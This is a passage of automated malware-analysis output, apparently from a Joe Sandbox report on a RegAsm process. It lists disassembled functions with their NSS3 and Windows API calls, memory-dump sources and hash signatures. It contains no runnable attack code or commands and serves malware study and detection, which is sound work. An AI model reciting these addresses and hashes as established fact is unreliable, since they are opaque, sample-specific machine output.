Part of subcall function 6C439DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C439DED

Part of subcall function 6C3C6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C371C6F,00000000,00000004,?,?), ref: 6C3C6C3F

PR_GetCurrentThread.NSS3 ref: 6C3DCD54

Part of subcall function 6C439BF0: TlsGetValue.KERNEL32(?,?,?,6C480A75), ref: 6C439C07

Part of subcall function 6C3C7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C371CCC,00000000,00000000,?,?), ref: 6C3C729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C3DCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C3DCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C3DCE2C

Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D10F3
Part of subcall function 6C3D10C0: EnterCriticalSection.KERNEL32(?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D110C
Part of subcall function 6C3D10C0: PL_ArenaAllocate.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1141
Part of subcall function 6C3D10C0: PR_Unlock.NSS3(?,?,?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D1182
Part of subcall function 6C3D10C0: TlsGetValue.KERNEL32(?,6C378802,00000000,00000008,?,6C36EF74,00000000), ref: 6C3D119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C3DCE40

Part of subcall function 6C3D14C0: TlsGetValue.KERNEL32 ref: 6C3D14E0
Part of subcall function 6C3D14C0: EnterCriticalSection.KERNEL32 ref: 6C3D14F5
Part of subcall function 6C3D14C0: PR_Unlock.NSS3 ref: 6C3D150D

Part of subcall function 6C3DCEE0: PORT_ArenaMark_Util.NSS3(?,6C3DCD93,?), ref: 6C3DCEEE
Part of subcall function 6C3DCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C3DCD93,?), ref: 6C3DCEFC
Part of subcall function 6C3DCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C3DCD93,?), ref: 6C3DCF0B
Part of subcall function 6C3DCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C3DCD93,?), ref: 6C3DCF1D

Part of subcall function 6C3DCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C3DCD93,?), ref: 6C3DCF47
Part of subcall function 6C3DCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C3DCD93,?), ref: 6C3DCF67
Part of subcall function 6C3DCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C3DCD93,?,?,?,?,?,?,?,?,?,?,?,6C3DCD93,?), ref: 6C3DCF78

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: cd35e8a80814f02af1d60540f3a1ebccc8503dc5f43462ba881f6af4d178ef78
Instruction ID: ebc2f0835b97ca54af2b8bcecfbcc194552ae8d02cf178f97da83a56d64599f7
Opcode Fuzzy Hash: cd35e8a80814f02af1d60540f3a1ebccc8503dc5f43462ba881f6af4d178ef78
Instruction Fuzzy Hash: BC51C3B7A101119BE710EF69EC40BAA73F5AF48349F260524E84997740EB32FD04CF92

Function 6C3AEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C3AEF38

Part of subcall function 6C399520: PK11_IsLoggedIn.NSS3(00000000,?,6C3C379E,?,00000001,?), ref: 6C399542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C3AEF53

Part of subcall function 6C3B4C20: TlsGetValue.KERNEL32 ref: 6C3B4C4C
Part of subcall function 6C3B4C20: EnterCriticalSection.KERNEL32(?), ref: 6C3B4C60
Part of subcall function 6C3B4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4CA1
Part of subcall function 6C3B4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C3B4CBE
Part of subcall function 6C3B4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4CD2
Part of subcall function 6C3B4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3B4D3A

PR_GetCurrentThread.NSS3 ref: 6C3AEF9E

Part of subcall function 6C439BF0: TlsGetValue.KERNEL32(?,?,?,6C480A75), ref: 6C439C07

free.MOZGLUE(00000000), ref: 6C3AEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C3AF016
free.MOZGLUE(00000000), ref: 6C3AF022

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 8d5f0d4484c361e6d3e05775bb83c673e5f645fe362d6d9e08fdcb125bee61e2
Instruction ID: 0989769664034985c54a5db67fdb483926fe25b16ceb6f0eee0404784c53c4ee
Opcode Fuzzy Hash: 8d5f0d4484c361e6d3e05775bb83c673e5f645fe362d6d9e08fdcb125bee61e2
Instruction Fuzzy Hash: C8416271E00209AFDF01DFE9DC45BEE7BB9EB48358F044025F914A6650E772D9268FA1

Function 6C384860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C384894

Part of subcall function 6C3CB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C4A18D0,?), ref: 6C3CB095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3848CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3848DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C3848FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C384912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C38494A

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 0aa64d46cb63fd842eb9074a7343bc549591620ba3f9901d67ce51b324632cf7
Instruction ID: ac9184637e6d7994145309e7a3fae619c28ee0e784f10a8966be7edcb8d84941
Opcode Fuzzy Hash: 0aa64d46cb63fd842eb9074a7343bc549591620ba3f9901d67ce51b324632cf7
Instruction Fuzzy Hash: 7141AF71A06305ABE710CE69D891FAA73ECAF8421CF50052CEA5597B41F772D904CF63

Function 6C39CF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C39CF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C39D002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C39D016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C39D025
PR_NewLock.NSS3 ref: 6C39D043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C39D074

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 22a1c40e640a9cd936940d0925c792bd01685817894d0d1fc0f6623cb2ba3e3c
Instruction ID: 8528668fb31c1598313286300f8ff9470d3070cb066d7074101549ebada12897
Opcode Fuzzy Hash: 22a1c40e640a9cd936940d0925c792bd01685817894d0d1fc0f6623cb2ba3e3c
Instruction Fuzzy Hash: 9B418EB0A012118FDB10DF29D88579ABBA4AF48318F11416ADC1E8BB56E775D885CFE2

Function 6C382E60 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,00000000,00000001,00000000,?,?,6C372D1A), ref: 6C382E7E

Part of subcall function 6C3D07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C378298,?,?,?,6C36FCE5,?), ref: 6C3D07BF
Part of subcall function 6C3D07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C3D07E6
Part of subcall function 6C3D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C3D081B
Part of subcall function 6C3D07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C3D0825

PR_Now.NSS3 ref: 6C382EDF
CERT_FindCertIssuer.NSS3(?,00000000,?,0000000B), ref: 6C382EE9
SECOID_FindOID_Util.NSS3(-000000D8,?,?,?,?,6C372D1A), ref: 6C382F01
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6C372D1A), ref: 6C382F50
SECITEM_CopyItem_Util.NSS3(?,?,?), ref: 6C382F81

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: FindUtil$ErrorHashLookupTable$CertCertificateConstCopyDestroyIssuerItem_
String ID:
API String ID: 287051776-0
Opcode ID: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction ID: 2b84ac059ecd5b8e37df05b7c0ff0d17cca70fb7e15e6d26dc732bc3ea0cc2bd
Opcode Fuzzy Hash: 6b467407cb95a1ae026b0ee79dd1b2f7e38d058143e2b848c32e4eb652019a89
Instruction Fuzzy Hash: AA31F5715031008BE710C655DE4CFAE7269EF80318F640579D42997AD0EB33A946CE22

Function 6C35A9B0 Relevance: 9.1, APIs: 6, Instructions: 101synchronizationCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,?,6C439270), ref: 6C35A9BF
PR_IntervalToMilliseconds.NSS3(?,?,6C439270), ref: 6C35A9DE

Part of subcall function 6C35AB40: __aulldiv.LIBCMT ref: 6C35AB66

Part of subcall function 6C43CA40: LeaveCriticalSection.KERNEL32(?), ref: 6C43CAAB

LeaveCriticalSection.KERNEL32(?), ref: 6C35AA2C
WaitForSingleObject.KERNEL32(?,-00000001), ref: 6C35AA39
EnterCriticalSection.KERNEL32(?), ref: 6C35AA42
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C35AAEB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$LeaveObjectSingleWait$EnterIntervalMillisecondsValue__aulldiv
String ID:
API String ID: 4008047719-0
Opcode ID: 5a18dd3378023c198e777d6b73898c2989eba9b513df5dbacaa14f0d062ebc2c
Instruction ID: 46f39101c96a6480117400e35a6d64223936754c2a136c20786e461af2273f67
Opcode Fuzzy Hash: 5a18dd3378023c198e777d6b73898c2989eba9b513df5dbacaa14f0d062ebc2c
Instruction Fuzzy Hash: C441AF746047018FD700EF28C584BA6BBF5FB06328F64862DE85D8B641DB72D991DFA0

Function 6C370E00 Relevance: 9.1, APIs: 6, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

CERT_DecodeAVAValue.NSS3(?,?,6C370A2C), ref: 6C370E0F
PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,6C370A2C), ref: 6C370E73
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,6C370A2C), ref: 6C370E85
PORT_ZAlloc_Util.NSS3(00000001,?,?,6C370A2C), ref: 6C370E90
free.MOZGLUE(00000000), ref: 6C370EC4
SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?,6C370A2C), ref: 6C370ED9

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Alloc_$ArenaDecodeItem_ValueZfreefreememset
String ID:
API String ID: 3618544408-0
Opcode ID: 9fd5c5fedca76777a4fec3e014dc040f22ec5ac086b34f377fd76959d6b1bd8e
Instruction ID: bc3e7d7fed5083fca345409f2fca802f0b8d8b684a9db68be68a741e0bd87468
Opcode Fuzzy Hash: 9fd5c5fedca76777a4fec3e014dc040f22ec5ac086b34f377fd76959d6b1bd8e
Instruction Fuzzy Hash: 5D213173E00A8457E73085B65C85B6F76AEDBC174CF194035E81863F41EB6BD8148EB6

Function 0041B38C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B39A

Part of subcall function 0041AFAC: __mtinitlocknum.LIBCMT ref: 0041AFC2
Part of subcall function 0041AFAC: __amsg_exit.LIBCMT ref: 0041AFCE
Part of subcall function 0041AFAC: EnterCriticalSection.KERNEL32(?,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041AFD6

DecodePointer.KERNEL32(0042A120,00000020,0041B4DD,?,00000001,00000000,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E), ref: 0041B3D6
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B3E7

Part of subcall function 0041BE35: EncodePointer.KERNEL32(00000000,0041C063,004495B8,00000314,00000000,?,?,?,?,?,0041B707,004495B8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041BE37

DecodePointer.KERNEL32(-00000004,?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B40D
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B420
DecodePointer.KERNEL32(?,0041B4FF,000000FF,?,0041AFD3,00000011,?,?,0041AC60,0000000E,0042A0E0,0000000C,0041AC2A), ref: 0041B42A

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: 0b0bc3cab5f7049983f26cd80e00dd0aa4f75dbf31a2a29bc74296bdc4549019
Instruction ID: 13f01492c0df899e955246e6d1acdef18d299a0ed6057d30a0a2a93d2b0efa88
Opcode Fuzzy Hash: 0b0bc3cab5f7049983f26cd80e00dd0aa4f75dbf31a2a29bc74296bdc4549019
Instruction Fuzzy Hash: D6312874901349DFDF109FA9C9452DEBAF1FF48314F14802BE414A6262CBB94895DFAE

Function 6C3888D0 Relevance: 9.1, APIs: 6, Instructions: 97memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C390725,00000000,00000058), ref: 6C388906
EnterCriticalSection.KERNEL32(?), ref: 6C38891A
PL_ArenaAllocate.NSS3(?,?), ref: 6C38894A
calloc.MOZGLUE(00000001,6C39072D,00000000,00000000,00000000,?,6C390725,00000000,00000058), ref: 6C388959
memset.VCRUNTIME140(?,00000000,?), ref: 6C388993
PR_Unlock.NSS3(?), ref: 6C3889AF

Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607AD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607CD
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C2F204A), ref: 6C3607D6
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C2F204A), ref: 6C3607E4
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,6C2F204A), ref: 6C360864
Part of subcall function 6C3607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C360880
Part of subcall function 6C3607A0: TlsSetValue.KERNEL32(00000000,?,?,6C2F204A), ref: 6C3608CB
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608D7
Part of subcall function 6C3607A0: TlsGetValue.KERNEL32(?,?,6C2F204A), ref: 6C3608FB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$calloc$AllocateArenaCriticalEnterSectionUnlockmemset
String ID:
API String ID: 1716546843-0
Opcode ID: 520173ca51594c8d003cac80454dbb96d588c5233607a64eaeb288b06bb9dce1
Instruction ID: 23ef1c4f8769607ea9f2a7b2262587a62672b67d9761642859866cc2656c6a08
Opcode Fuzzy Hash: 520173ca51594c8d003cac80454dbb96d588c5233607a64eaeb288b06bb9dce1
Instruction Fuzzy Hash: D731E472E02215ABD7009F28DC41A59B7A8AF0571CF15852AEC5897B42E732E945CFE3

Function 6C37AE50 Relevance: 9.1, APIs: 6, Instructions: 85COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C37AEB3
SEC_ASN1EncodeUnsignedInteger_Util.NSS3(00000000,?,00000000), ref: 6C37AECA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C37AEDD
PR_SetError.NSS3(FFFFE022,00000000), ref: 6C37AF02
SEC_ASN1EncodeItem_Util.NSS3(?,?,?,6C499500), ref: 6C37AF23

Part of subcall function 6C3CF080: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?), ref: 6C3CF0C8
Part of subcall function 6C3CF080: PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C3CF122

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C37AF37

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Arena_$Free$EncodeError$Integer_Item_Unsigned
String ID:
API String ID: 3714604333-0
Opcode ID: 49491267193b0f6439d7d7d9922fb83658de773d98d229c880b7c07279ac7ffe
Instruction ID: 561e96dd5a1925f03707915c8002dab321cb66dca847b4957a5325d3ec54ffcb
Opcode Fuzzy Hash: 49491267193b0f6439d7d7d9922fb83658de773d98d229c880b7c07279ac7ffe
Instruction Fuzzy Hash: E3210A72909200ABEB208E18DC41F9A7BE4AF8572CF144319FC589B791E736D5448BBB

Function 6C3FEE50 Relevance: 9.1, APIs: 6, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3FEE85
realloc.MOZGLUE(D3824B49,?), ref: 6C3FEEAE
PORT_Alloc_Util.NSS3(?), ref: 6C3FEEC5

Part of subcall function 6C3D0BE0: malloc.MOZGLUE(6C3C8D2D,?,00000000,?), ref: 6C3D0BF8
Part of subcall function 6C3D0BE0: TlsGetValue.KERNEL32(6C3C8D2D,?,00000000,?), ref: 6C3D0C15

htonl.WSOCK32(?), ref: 6C3FEEE3
htonl.WSOCK32(00000000,?), ref: 6C3FEEED
memcpy.VCRUNTIME140(?,?,?,00000000,?), ref: 6C3FEF01

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: htonl$Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 1351805024-0
Opcode ID: ee0afb884fcf099d7f99e7366c67ce68b772c6784af920be6a00a4bfdc52fb3e
Instruction ID: f26c50ad99df0410373a815431f0ae7b9644f4b3d9ce1b92f0891f73f2e78d16
